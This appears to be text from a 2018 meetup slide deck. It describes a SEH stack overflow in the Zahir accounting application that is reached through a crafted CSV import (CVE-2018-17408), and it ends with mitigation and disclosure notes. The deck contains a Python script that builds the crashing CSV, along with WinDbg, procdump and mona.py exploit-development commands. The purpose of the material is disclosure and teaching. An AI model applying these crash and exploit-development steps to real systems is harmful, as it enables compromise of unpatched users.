Blinded Stack Overflow: Just Another Common Technique

Blinded Stack Overflow Exploit:
Just Another Common Technique
Thomas Gregory | Director and Partner at PT Spentera
tom@spentera.id | @modpr0be
Indonesian Bug Hunter Lounge Meetup 2018

Who we are2
• Marie Muhammad
• Security researcher
• Penetration tester and Red
team operator
• Bug hunter
• Hold OSCP, OSCE, CRTE
• marie@spentera.id
• @f3ci
• Found the 0day
• Thomas Gregory
• Director and Partner at Spentera
• Cybersecurity Consultant
• Vulnerability Discovery and 0day
Exploit Development
• Vulnerability Assessment and
Penetration Testing
• Metasploit framework exploit
developer
• Hold OSCP, OSCE, ISO
27001:2013 LA
• tom@spentera.id
• @modpr0be
• Just exploiting further

Fuzzing: Identifying Entry point8
• Zahir is a desktop client application, one of the identifying
entry point approach is file format fuzzing.
• Identifying entry points:
• Menu Buka Data, a function to read from a local database or Firebird
database.
• Menu Membuka File Backup, a function to open an existing backup
• Menu Import Data dari Zahir versi 6.0, a menu to open data from
previous Zahir version.
• Menu Import Data dari file lainnya, a menu to open data from CSV
format file.
• Menu Import Transaksi, a menu to open data from CSV format file.

Fuzzing: Accidentally crashed!9

Simple code to crash10
#!/usr/bin/python
junk = "A" * 2500
junk += 'nr’ # this is the CR/LF
junk += 'A' * 500
junk += "D" * 500
print "[+] Preparing for file.."
filename = "junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted CSV file.."
f.write(junk)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Failed: Anti debug implemented14

At this point15
Modify the main
program to bypass
the anti-debug
function
Catch and dump the
crash info ! Analysis
the crash dump

Catch the crash with procdump17
mkdir c:crashdump
cd C:toolsSysinternalsSuite
procdump.exe -ma -I
C:crashdump

Analysis the crash with windbg18
File – Open Crash Dump

Analysis the crash with windbg19
0:000> d 0012ec30
0012ec30 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012eca0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:000> !exchain

How SEH works20
(1) Exception terjadi+-----------------------+
|
|
(3) next SEH membawa kembali ke SEH-------------------------------------+
| | |
| V v
+------------------------------+ +--------+ +----------+ +--------+ +----------+
|AAAAAAAAAAAAAAAAAAAAA....AAAAA| |Next SEH| |SE Handler| |Next SEH| |SE Handler|
+------------------------------+ +--------+ +----------+ +--------+ +----------+
Junk / buffer ^ |
| |
| |
+-----------+
(2) SE Handler membawa kembali ke alamat SEH berikutnya

Mona help during the exploit development22
# Load mona.py into WinDBG
0:000> .load pykd.pyd
# Same as Metasploit pattern_create.rb and pattern_offset.rb
0:000> !py mona pc
0:000> !py mona po <offset>
# Compare memory for bad characters
0:000> !py mona ba -cpb ‘x00’
0:000> !py mona cmp -f bytearray.bin -a <start address>

Exploit FTW!
Demo exploitation process..
23

aftermath
• Mitigation
• Don't process files with CSV extension from untrusted parties,
• Double check if trusted parties provide files with CSV extension,
• Always update the operating system and your endpoint security.
• Solution
• There is no solution from Zahir at the moment.
• Vulnerability report
• Zahir was contacted but no security related response.
• Submitted to National Cyber Security Operation Center under
Indonesia National Cyber and Encryption Agency (BSSN)
• Assigned CVE 2018-17408
24

Thank you
Thomas Gregory
Director and Partner at PT Spentera
tom@spentera.id
25

Blinded Stack Overflow: Just Another Common Technique

Recommandé

Recommandé

Contenu connexe

Similaire à Blinded Stack Overflow: Just Another Common Technique

Similaire à Blinded Stack Overflow: Just Another Common Technique (20)

Dernier

Dernier (20)

Blinded Stack Overflow: Just Another Common Technique